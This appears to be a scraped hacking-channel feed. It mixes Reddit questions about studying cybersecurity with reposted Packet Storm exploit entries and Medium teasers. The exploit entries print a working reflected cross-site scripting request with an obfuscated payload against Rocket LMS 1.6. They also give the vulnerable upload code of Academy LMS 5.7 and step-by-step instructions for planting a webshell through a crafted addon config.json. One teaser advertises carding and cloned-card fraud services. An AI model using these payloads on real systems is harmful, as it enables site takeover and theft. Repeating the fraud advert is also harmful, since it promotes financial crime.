hacking: security in practice
How do you all continue to learn and advance your knowledge about the cybersecurity?

I just passed my oscp and am looking to start diving into a little more depth. How do you all continue to study or what do you all use as resources other than hackthebox or TryHackMe or PG? I have bought a couple books to go through, but wanted to hear what you all use.

submitted by /u/_ghostman_
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Rocket LMS 1.6 Cross Site Scripting

https://3.bp.blogspot.com/-Qhp4qePCt4w/WWlvgnoLBHI/AAAAAAAAIQQ/Pg-5D4V1nfk8Sq6EZO_I88mZqTiN0MsZgCLcBGAs/s1600/h89.png
Rocket LMS version 1.6 suffers from a cross site scripting vulnerability.

SHA-256 | 21a150d6f7bd763c17a361b4b333dd7a6dff2269a57ce56b55a37a298f1c638f

Download
# Exploit Title: Rocket LMS - Learning Management System Reflected Cross Site Scripting
# Exploit Author: th3d1gger
# Vendor Homepage: https://codecanyon.net
# Software Link: https://codecanyon.net/item/rocket-lms-learning-management-academy-script/33120735
# Version: Version 1.6
# Tested on Ubuntu 18.04
-------Request-----------
GET /search?search=%3Cbody%2Fbody%2Fbody%2FOn%2FOnLoAd%3Dconsole.log%281%29%3E%3C%21-- HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99"
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Upgrade-Insecure-Requests: 1
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
sec-ch-ua-platform: "Linux"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: empty
Referer: http://localhost/search?search=%3Cbody%2Fbody%2Fbody%2FOn%2FOnLoAd%3Dconsole.log%281%29%3E%3C%21--
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: allow=1; XSRF-TOKEN=eyJpdiI6ImN0MTZwSkxBTEF0VGVtTmo4cmdxSUE9PSIsInZhbHVlIjoidlEvSDRITWdRaXpXU0Q1amE1cSsxTUNZc0lSVHdRWVVxaUp1cURrM3JQSGNTTTQxRUVjSWdGbUtPZVBWV3FiRk5yU3VHNzBZTU4rNDA1VDlsS1BHdC9FRExpbjdhakhDUk56d1l1VGxlSjdFSWVuR2ZQZXBDamt1MVVkdHBRTUsiLCJtYWMiOiJhOTY5YzU2MzE3NmRjMWM0NzBkNmVlNWI1NmU5MjExZGRhZGU2NzYwY2Y5M2FmNzI5YjViMTRmNjI5Y2E0NjdiIn0%3D; rocketlms_session=eyJpdiI6Im9YRVkvTVYyQkZqNkVKR05xK3VVVGc9PSIsInZhbHVlIjoiS1plaFpXSVVJVGdiSE9vK3MxbTk2S3FSMmx6T1dnSGduZ3RZZERlc28xbmRrSWpuSStpMml0L2hkdFdXS3NmWnhHdlV1MXNicUI5Q2ErR1cwODdkYXFEbnd6WlVTZVlCbEZOZVg0VjJrc2J0ZFNVMzd6TW8rVHE5QXlkdEpmS1UiLCJtYWMiOiJhMDBiNjhmNTA1ZDM3ODMzNGQ2MDA4YTA5Nzk0ZDlhMTM5NjM1OWEwNGZmOTViNmU2MGE2YmQ2NWQwMGUzYWMwIn0%3D
Connection: close


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Rocket LMS 1.6 Shell Upload

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
TIBCO JasperReports Server 8.0.2 Community Edition Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Academy Learning Management System 5.7 Shell Upload

https://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png
Academy Learning Management System version 5.7 suffers from a remote shell upload vulnerability.

SHA-256 | 8f5ea1ed03e514169afbef198fca84d3a923d2ba76402fc2c21d5c8fce52443a

Download
# Exploit Title: Academy Learning Management System 5.7 Shell Upload
# Exploit Author: th3d1gger
# Vendor Homepage: https://codecanyon.net
# Software Link: https://codecanyon.net/item/academy-course-based-learning-management-system/22703468
# Version: 5.7
# Tested on Ubuntu 18.04

Totally wrong architecture for uploading zip files on install addon

---Vulnerable Source Code ---
$zipped_file_name = $_FILES['addon_zip']['name'];

if (!empty($zipped_file_name)) {
// Create update directory.
$dir = 'uploads/addons';
if (!is_dir($dir))
mkdir($dir, 0777, true);

$path = "uploads/addons/".$zipped_file_name;
if (class_exists('ZipArchive')) {
move_uploaded_file($_FILES['addon_zip']['tmp_name'], $path);
//Unzip uploaded update file and remove zip file.
$zip = new ZipArchive;
$zip->open($path);
$zip->extractTo('uploads/addons');
$zip->close();
unlink($path);
}else{
$this->session->set_flashdata('error_message', get_phrase('your_server_is_unable_to_extract_the_zip_file').'. '.get_phrase('please_enable_the_zip_extension_on_your_server').', '.get_phrase('then_try_again'));
redirect(site_url('admin/addon'), 'refresh');
}

---Exploit------
get request route "/admin/addon/add" at admin panel.

And then for example download "certificate addon" nulled version.

in addons config.json file
add
"""
{
"root_directory" : "uploads/addons/certificate/others/shell.php",
"update_directory" : "uploads/certificates/shell.php"
},
"""

add your webshell to others folder in addon.

click install addon button.

And ta daa !
->get request https://your-url/uploads/certificates/shell.php

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

PentesterAcademy updated??
https://www.reddit.com/r/Pentesting/comments/xde9fw/pentesteracademy_updated/

i saw few videos and the videos look old , are they any good for 2022? submitted by /u/General_Roof9555 (https://www.reddit.com/user/General_Roof9555)
[link] (https://www.reddit.com/r/Pentesting/comments/xde9fw/pentesteracademy_updated/) [comments] (https://www.reddit.com/r/Pentesting/comments/xde9fw/pentesteracademy_updated/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
DO ALL TRANSFERS CASHAPP WESTERN UNION PAYPAL BLANK CLOND ATM CREDIT CARDS

ALBERT’S CASH TEAM SERVICE WORLDWIDE(GET RICH NOW/SOLVE ALL PROBLEM NOW)WHERE ALL YOUR FINANCIAL DREAMS COME THROUGH AND THE END OF ALL…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How i got my first hall of fame.

https://cdn-images-1.medium.com/max/1080/1*pGVaoTlnAGvf3LH4JbXjeg.jpeg
Hello everyone,

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Diferentes técnicas de cifrado de archivos utilizadas por bandas de ransomware en 2022 para evadir…

https://cdn-images-1.medium.com/max/1699/0*LsxUDTYchnNMuSNU
Observamos una nueva tendencia en la escena del ransomware: cifrado intermitente o cifrado parcial de los archivos de las víctimas. Este…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How Gas Swindlers Are Stealing From BNB Chain Users

https://cdn-images-1.medium.com/max/2600/1*DFD-XSNzebg2P6rbwoPWzA.jpeg
The crypto space is a true wild west of adventure and despair. Fortunes are made and lost in an instant. In the darkest corner of this…

Continue reading on Immunefi »

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Name That Toon: Shiver Me Timbers!

Feeling creative? Submit your caption and our panel of experts will reward the winner with a $25 Amazon gift card.